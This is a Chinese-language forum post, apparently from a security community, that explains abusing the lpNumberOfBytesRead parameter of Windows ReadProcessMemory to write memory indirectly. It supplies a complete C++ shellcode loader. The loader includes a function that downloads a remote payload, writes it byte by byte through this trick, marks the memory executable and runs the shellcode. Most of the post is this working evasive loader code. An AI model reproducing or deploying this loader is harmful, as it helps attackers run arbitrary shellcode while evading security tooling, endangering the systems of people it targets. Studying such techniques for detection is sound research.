为什么 ReadProcessMemory 能写内存?
原理解释
ReadProcessMemory 的函数签名:
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesRead // 《---关键参数
);
正常用途:
lpNumberOfBytesRead 是一个输出参数,用于存储实际读取的字节数- Windows 会将读取的字节数写入到这个指针指向的地址
将 lpNumberOfBytesRead 指向目标内存地址
SIZE_T* writeTarget = reinterpret_cast<SIZE_T*>(memoryAlloc + i);通过
SIZE_T nsize = sourceBytes[i]; // 这个值会被写入lpNumberOfBytesRead
Windows API 会自动将 nSize 的值写入 writeTarget 指向的地址
ReadProcessMemory 内部会执行:*lpNumberOfBytesRead = nSize
示例
写入字节 0x90(NOP指令):
ReadProcessMemory(
currentProcess,
memoryAlloc,
dummyBuffer,
0x90,//写入的值
(SIZE_T*)(target) // 写入的目标地址
);
最后我用AI转rust源码为CPP版本 如下
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
#pragma comment(lib, "wininet.lib")
// 详细输出处理函数
void verboseHandler(bool verbose, const std::string& msg, const std::string& type) {
if (!verbose) return;
if (type == "info") std::cout << "[i] " << msg << std::endl;
else if (type == "warning") std::cout << "[!] " << msg << std::endl;
else if (type == "success") std::cout << "[+] " << msg << std::endl;
else if (type == "error") std::cout << "[-] " << msg << std::endl;
else std::cout << "[*] " << msg << std::endl;
}
// 下载远程payload
std::vector<BYTE> downloadPayload(const std::string& url, bool verbose) {
std::vector<BYTE> result;
HINTERNET hInternet = InternetOpenA("Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return result;
HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect) {
BYTE buffer[4096];
DWORD bytesRead;
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
result.insert(result.end(), buffer, buffer + bytesRead);
}
InternetCloseHandle(hConnect);
}
InternetCloseHandle(hInternet);
verboseHandler(verbose, "Total bytes downloaded: " + std::to_string(result.size()), "success");
return result;
}
// 间接内存分配和写入
void indirectMemoryAllocation(const std::vector<BYTE>& injectData, bool executePayload, bool verbose) {
size_t dataSize = injectData.size();
std::vector<BYTE> dummyBuffer(2, 0);
// 分配内存
LPVOID memoryAlloc = VirtualAlloc(
NULL,
dataSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (memoryAlloc == NULL) {
verboseHandler(verbose, "Memory allocation failed", "error");
return;
}
verboseHandler(verbose, "Memory offset reserved (hex): 0x" +
std::to_string(reinterpret_cast<uintptr_t>(memoryAlloc)), "info");
verboseHandler(verbose, "Memory allocated", "success");
// 获取当前进程句柄
HANDLE currentProcess = GetCurrentProcess();
const BYTE* sourceBytes = injectData.data();
verboseHandler(verbose, "Writing...", "info");
// **关键部分:使用ReadProcessMemory写入内存**
for (size_t i = 0; i < dataSize; i++) {
// 目标地址(要写入的位置)
LPVOID destOffset = reinterpret_cast<BYTE*>(memoryAlloc) + i;
// 要"写入"的值(通过读取的字节数来实现)
SIZE_T nsize = sourceBytes[i];
// 滥用lpNumberOfBytesRead参数来写入内存
SIZE_T* writeTarget = reinterpret_cast<SIZE_T*>(destOffset);
ReadProcessMemory(
currentProcess,
memoryAlloc, // 源地址(随便读什么都行)
dummyBuffer.data(), // 目标缓冲区(我们不关心读到什么)
nsize, // 要读取的字节数(这个值会被写入lpNumberOfBytesRead)
writeTarget // 实际读取字节数的指针(这里被滥用为写入目标)
);
}
verboseHandler(verbose, "Data should be copied on memory indirectly with ReadProcessMemory", "success");
// 如果需要执行payload
if (executePayload) {
DWORD oldProtect;
// 修改内存保护为可执行
if (VirtualProtect(memoryAlloc, dataSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
verboseHandler(verbose, "Permissions of the memory changed!", "info");
verboseHandler(verbose, "Executing the shellcode...", "");
// 执行shellcode
typedef void (*ShellcodeFunc)();
ShellcodeFunc shellcode = reinterpret_cast<ShellcodeFunc>(memoryAlloc);
shellcode();
}
}
}
int main(int argc, char* argv[]) {
bool verbose = true;
bool execute = true;
// 示例:从文件读取payload
std::ifstream file("payload.bin", std::ios::binary);
if (!file) {
verboseHandler(verbose, "Cannot open payload file", "error");
return 1;
}
std::vector<BYTE> payload((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>());
file.close();
verboseHandler(verbose, "Total bytes to copy: " + std::to_string(payload.size()), "info");
indirectMemoryAllocation(payload, execute, verbose);
return 0;
}
原Github链接:
GitHub - mimorep/Indirect-Shellcode-Executor: Indirect-Shellcode-Executor expoits the miss-configuration/vulnerability present on the API Windows method ReadProcessMemory discovered by DarkCoderSc. It exploits the nature of the in/out pointer param named *lpNumberOfBytesRead, that enables to write into process memory without calling common API methods to do so such as memcpy, this is perfect
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2025-12-13 20:36
被ShaShen4404编辑
,原因: